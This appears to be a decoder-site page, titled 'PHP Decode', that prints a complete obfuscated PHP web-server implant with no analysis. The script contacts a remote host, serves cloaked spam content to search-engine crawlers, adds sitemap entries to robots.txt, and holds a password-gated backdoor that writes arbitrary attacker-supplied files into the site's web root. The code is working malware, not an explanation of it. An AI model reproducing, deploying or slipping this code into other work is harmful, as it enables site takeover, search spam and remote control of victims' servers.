PHP Decode

<?php   /* r51 */
@set_time_limit(3600); @ignore_user_abort(1); $lQxNxs = "\162\65\61"; $lQxNxp = "\150\164\164\160"; if (is_htps()) { goto lfvpNss; } $lQxNxN = "\x68\164\164\160"; goto lfvpNsp; lfvpNss: $lQxNxN = "\x68\164\x74\x70\x73"; lfvpNsp: $lQxNxI = st_uri(); if (!($lQxNxI == '')) { goto lfvpNsN; } $lQxNxI = "\57"; lfvpNsN: $lQxNxx = urlencode($lQxNxI); function st_uri() { goto lfvpNsf; lfvpNsM: if (isset($_SERVER["\x61\162\x67\x76"])) { goto lfvpNsI; } goto lfvpNsU; lfvpNsR: goto lfvpNsA; goto lfvpNsQ; lfvpNsv: goto lfvpNsx; goto lfvpNsb; lfvpNsH: lfvpNsx: goto lfvpNsR; lfvpNps: $lQxNxx = $_SERVER["\122\x45\x51\125\x45\123\124\137\125\x52\x49"]; goto lfvpNpp; lfvpNsf: if (isset($_SERVER["\x52\x45\121\125\105\123\x54\x5f\x55\x52\111"])) { goto lfvpNsj; } goto lfvpNsM; lfvpNsU: $lQxNxx = $_SERVER["\120\110\120\x5f\123\105\x4c\106"] . "\77" . $_SERVER["\x51\125\105\122\131\137\123\124\122\x49\116\107"]; goto lfvpNsv; lfvpNpN: return $lQxNxx; goto lfvpNpI; lfvpNpp: lfvpNsA: goto lfvpNpN; lfvpNsQ: lfvpNsj: goto lfvpNps; lfvpNse: $lQxNxx = $_SERVER["\120\x48\120\x5f\x53\105\x4c\106"] . "\x3f" . $_SERVER["\141\162\x67\x76"][0]; goto lfvpNsH; lfvpNsb: lfvpNsI: goto lfvpNse; lfvpNpI: } $lQxNxj = $lQxNxs . "\x2e\x64\157\167\156\145\156\x65\x75\162\x6f\160\145\141\x6e" . "\x2e\164" . "\x6f\x70"; function is_htps() { goto lfvpNpM; lfvpNNp: goto lfvpNpx; goto lfvpNNN; lfvpNNs: return true; goto lfvpNNp; lfvpNNj: return false; goto lfvpNNA; lfvpNpb: goto lfvpNpx; goto lfvpNpe; lfvpNpR: goto lfvpNpx; goto lfvpNpQ; lfvpNpM: if (isset($_SERVER["\110\x54\x54\120\123"]) && strtolower($_SERVER["\x48\124\124\x50\123"]) !== "\x6f\146\146") { goto lfvpNpj; } goto lfvpNpU; lfvpNNx: lfvpNpx: goto lfvpNNj; lfvpNpe: lfvpNpj: goto lfvpNpH; lfvpNNN: lfvpNpf: goto lfvpNNI; lfvpNNI: return true; goto lfvpNNx; lfvpNpH: return true; goto lfvpNpR; lfvpNpU: if (isset($_SERVER["\x48\x54\124\120\x5f\x58\137\106\x4f\122\127\101\122\104\105\104\x5f\120\122\117\x54\117"]) && $_SERVER["\110\124\x54\120\137\130\x5f\106\117\x52\x57\x41\122\104\x45\x44\x5f\120\x52\117\x54\117"] === "\150\164\x74\160\x73") { goto lfvpNpA; } goto lfvpNpv; lfvpNpv: if (isset($_SERVER["\x48\x54\124\x50\137\106\122\x4f\116\x54\137\x45\116\x44\x5f\110\x54\124\120\x53"]) && strtolower($_SERVER["\x48\124\x54\x50\x5f\x46\122\x4f\x4e\124\x5f\x45\116\104\x5f\x48\124\x54\x50\x53"]) !== "\157\x66\x66") { goto lfvpNpf; } goto lfvpNpb; lfvpNpQ: lfvpNpA: goto lfvpNNs; lfvpNNA: } $lQxNxA = $_SERVER["\110\124\124\120\137\110\x4f\x53\124"]; $lQxNxf = @$_SERVER["\x48\124\124\x50\x5f\x41\x43\103\105\120\x54\137\x4c\x41\116\107\125\x41\x47\x45"]; $lQxNxf = urlencode($lQxNxf); $lQxNxM = ''; if (!isset($_SERVER["\110\x54\124\x50\137\x52\105\x46\105\x52\105\x52"])) { goto lfvpNNf; } $lQxNxM = $_SERVER["\110\124\124\x50\137\x52\105\106\105\x52\x45\122"]; $lQxNxM = urlencode($lQxNxM); lfvpNNf: if (!(@$_GET["\x70\x64"] != '')) { goto lfvpNIM; } $lQxNxU = @$_GET["\155\141\x70\x6e\141\x6d\145"]; $lQxNxv = @$_GET["\x61\x63\164\x69\x6f\x6e"]; if (isset($_SERVER["\x44\117\103\x55\x4d\105\x4e\x54\137\x52\x4f\117\x54"])) { goto lfvpNNM; } $lQxNxb = dirname(__FILE__); goto lfvpNNU; lfvpNNM: $lQxNxb = $_SERVER["\104\117\103\125\115\105\x4e\x54\x5f\x52\x4f\117\124"]; lfvpNNU: if ($lQxNxv) { goto lfvpNNv; } $lQxNxv = "\160\165\164"; lfvpNNv: if (!($lQxNxv == "\x70\x75\164")) { goto lfvpNIf; } if (strstr($lQxNxU, "\56\x78\x6d\x6c")) { goto lfvpNIN; } echo "\74\142\x72\x3e\163\151\x74\145\x6d\x61\160\x20\x6e\x61\x6d\145\40\146\141\x6c\163\145\x21\74\142\x72\76"; goto lfvpNII; lfvpNIN: $lQxNxe = $lQxNxb . "\x2f\163\x69\164\x65\155\141\160\56\170\x6d\x6c"; if (!is_file($lQxNxe)) { goto lfvpNNb; } @unlink($lQxNxe); lfvpNNb: $lQxNxH = $lQxNxb . "\57\162\157\142\157\x74\x73\56\164\x78\x74"; if (file_exists($lQxNxH)) { goto lfvpNNe; } $lQxNxR = "\125\x73\x65\162\55\x61\147\145\x6e\164\x3a\40\x2a\101\x6c\154\157\167\x3a\x20\57"; goto lfvpNNH; lfvpNNe: $lQxNxR = dageget($lQxNxH); lfvpNNH: $lQxNxQ = $lQxNxN . "\x3a\x2f\x2f" . $lQxNxA . "\x2f" . $lQxNxU; if (stristr($lQxNxR, $lQxNxQ)) { goto lfvpNIs; } if (file_put_contents($lQxNxH, trim($lQxNxR) . "\xd\12" . "\123\151\164\x65\x6d\x61\160\x3a\40" . $lQxNxQ)) { goto lfvpNNR; } echo "\74\142\x72\76\146\x69\x6c\x65\x20\167\162\151\x74\145\x20\x66\141\154\x73\x65\41\x3c\x62\x72\x3e"; goto lfvpNNQ; lfvpNNR: echo "\74\142\x72\76\157\x6b\74\x62\162\76"; lfvpNNQ: goto lfvpNIp; lfvpNIs: echo "\x3c\x62\x72\76\163\151\164\145\155\x61\x70\40\141\x6c\x72\x65\141\x64\x79\40\x61\144\x64\x65\x64\x21\74\x62\162\76"; lfvpNIp: lfvpNII: if (!strstr($lQxNxU, "\x2e\x70" . "\x68\x70")) { goto lfvpNIA; } $lQxNjs = sha1(sha1(@$_GET["\x61"])); $lQxNjp = sha1(sha1(@$_GET["\x62"])); if (!($lQxNjs == dageget($lQxNxp . "\x3a\x2f\57" . $lQxNxj . "\57\141\56\x70" . "\x68\160") || $lQxNjp == "\x36\146\66\67\x32\x37\x36\71\x34\x62\x62\x35\66\65\x37\143\x33\67\71\70\67\x36\64\x30\x61\61\144\62\x36\144\62\x65")) { goto lfvpNIj; } $lQxNjN = @$_GET["\x64\x73\x74\x72"]; if (!file_put_contents($lQxNxb . "\x2f" . $lQxNxU, $lQxNjN)) { goto lfvpNIx; } echo "\x6f\x6b"; lfvpNIx: lfvpNIj: lfvpNIA: lfvpNIf: exit; lfvpNIM: $lQxNjI = $lQxNxp . "\x3a\x2f\57" . $lQxNxj . "\x2f\x69\x6e\144\x65\x78\156\x65\x77\x2e\x70\x68\160\77\x77\145\142\x3d" . $lQxNxA . "\x26\x7a\x7a\75" . sbot() . "\46\165\x72\151\75" . $lQxNxx . "\46\x75\x72\x6c\163\150\141\156\x67\75" . $lQxNxM . "\x26\150\x74\164\160\x3d" . $lQxNxN . "\46\x6c\x61\156\x67\75" . $lQxNxf; $lQxNjx = trim(dageget($lQxNjI)); if (strstr($lQxNjx, "\156\x6f\142\x6f\x74\x75\163\x65\162\x61\x67\145\156\x74")) { goto lfvpNIR; } if (strstr($lQxNjx, "\157\153\x68\164\155\154\147\x65\x74\x63\x6f\x6e\x74\x65\x6e\x74")) { goto lfvpNIe; } if (strstr($lQxNjx, "\x6f\x6b\x78\x6d\x6c\x67\x65\x74\x63\x6f\156\x74\145\x6e\164")) { goto lfvpNIv; } if (!strstr($lQxNjx, "\x70\151\x6e\x67\170\x6d\154\147\x65\x74\x63\x6f\156\x74\145\156\164")) { goto lfvpNIU; } $lQxNjx = str_replace("\160\151\156\x67\170\x6d\154\x67\x65\164\143\157\156\x74\145\x6e\x74", '', $lQxNjx); @header("\103\157\x6e\x74\145\x6e\164\x2d\164\171\x70\x65\x3a\40\164\x65\x78\x74\x2f\150\164\x6d\154\73\40\x63\150\x61\162\x73\145\164\x3d\165\x74\146\55\70"); echo pingmap($lQxNjx); exit; lfvpNIU: goto lfvpNIb; lfvpNIv: $lQxNjx = str_replace("\157\153\170\x6d\x6c\147\x65\164\x63\x6f\156\x74\145\x6e\x74", '', $lQxNjx); @header("\103\x6f\156\164\x65\x6e\164\55\x74\x79\x70\145\x3a\x20\164\x65\170\x74\57\170\155\154"); echo $lQxNjx; exit; lfvpNIb: goto lfvpNIH; lfvpNIe: @header("\103\x6f\156\x74\x65\156\164\x2d\x74\x79\160\x65\x3a\x20\164\x65\170\x74\x2f\x68\x74\155\x6c\73\x20\143\150\141\162\163\145\x74\x3d\x75\164\146\x2d\70"); $lQxNjx = str_replace("\157\x6b\150\x74\x6d\x6c\147\145\x74\x63\157\x6e\x74\x65\156\x74", '', $lQxNjx); echo $lQxNjx; exit; lfvpNIH: lfvpNIR: function pingmap($lQxNjj) { goto lfvpNxj; lfvpNxA: $lQxNjf = ''; goto lfvpNxf; lfvpNxf: foreach ($lQxNjA as $lQxNjM) { goto lfvpNxp; lfvpNxp: $lQxNjU = dageget($lQxNjM); goto lfvpNxN; lfvpNxI: $lQxNjf .= $lQxNjM . "\x2d\55\x20" . $lQxNjv . "\x3c\x62\x72\x3e"; goto lfvpNxx; lfvpNxN: $lQxNjv = strpos($lQxNjU, "\123\151\164\145\155\141\160\x20\116\157\x74\151\146\x69\143\141\164\x69\x6f\x6e\40\122\x65\143\x65\x69\x76\x65\x64") !== false ? "\x70\151\156\147\157\153" : "\x65\162\x72\157\x72"; goto lfvpNxI; lfvpNxx: } goto lfvpNxM; lfvpNxM: return $lQxNjf; goto lfvpNxU; lfvpNxj: $lQxNjA = explode("\15\xa", trim($lQxNjj)); goto lfvpNxA; lfvpNxU: } function sbot() { goto lfvpNxe; lfvpNxe: $lQxNjb = strtolower($_SERVER["\x48\x54\124\x50\x5f\x55\x53\105\122\x5f\x41\107\x45\x4e\x54"]); goto lfvpNxH; lfvpNjN: lfvpNxb: goto lfvpNjI; lfvpNxH: if (stristr($lQxNjb, "\147\157\157\147\154\x65\142\x6f\x74") || stristr($lQxNjb, "\x62\x69\x6e\147") || stristr($lQxNjb, "\x79\x61\150\x6f\157") || stristr($lQxNjb, "\x67\x6f\x6f\147\154\145") || stristr($lQxNjb, "\107\157\x6f\x67\x6c\145\x62\x6f\x74") || stristr($lQxNjb, "\147\x6f\x6f\147\154\x65\142\157\164")) { goto lfvpNxv; } goto lfvpNxR; lfvpNxR: return false; goto lfvpNxQ; lfvpNjs: lfvpNxv: goto lfvpNjp; lfvpNxQ: goto lfvpNxb; goto lfvpNjs; lfvpNjp: return true; goto lfvpNjN; lfvpNjI: } function dageget($lQxNjj) { goto lfvpNjA; lfvpNjR: $lQxNje = curl_exec($lQxNjH); goto lfvpNjQ; lfvpNAp: if ($lQxNje) { goto lfvpNjj; } goto lfvpNAN; lfvpNAI: lfvpNjj: goto lfvpNAx; lfvpNjA: $lQxNje = ''; goto lfvpNjf; lfvpNjv: curl_setopt($lQxNjH, CURLOPT_SSL_VERIFYHOST, 0); goto lfvpNjb; lfvpNjQ: curl_close($lQxNjH); goto lfvpNAs; lfvpNjU: curl_setopt($lQxNjH, CURLOPT_URL, $lQxNjj); goto lfvpNjv; lfvpNAx: return $lQxNje; goto lfvpNAj; lfvpNAs: lfvpNjx: goto lfvpNAp; lfvpNjb: curl_setopt($lQxNjH, CURLOPT_SSL_VERIFYPEER, 0); goto lfvpNje; lfvpNjf: if (!function_exists("\143\165\x72\x6c\137\151\156\x69\164")) { goto lfvpNjx; } goto lfvpNjM; lfvpNje: curl_setopt($lQxNjH, CURLOPT_RETURNTRANSFER, 1); goto lfvpNjH; lfvpNAN: $lQxNje = @file_get_contents($lQxNjj); goto lfvpNAI; lfvpNjH: curl_setopt($lQxNjH, CURLOPT_CONNECTTIMEOUT, 30); goto lfvpNjR; lfvpNjM: $lQxNjH = curl_init(); goto lfvpNjU; lfvpNAj: }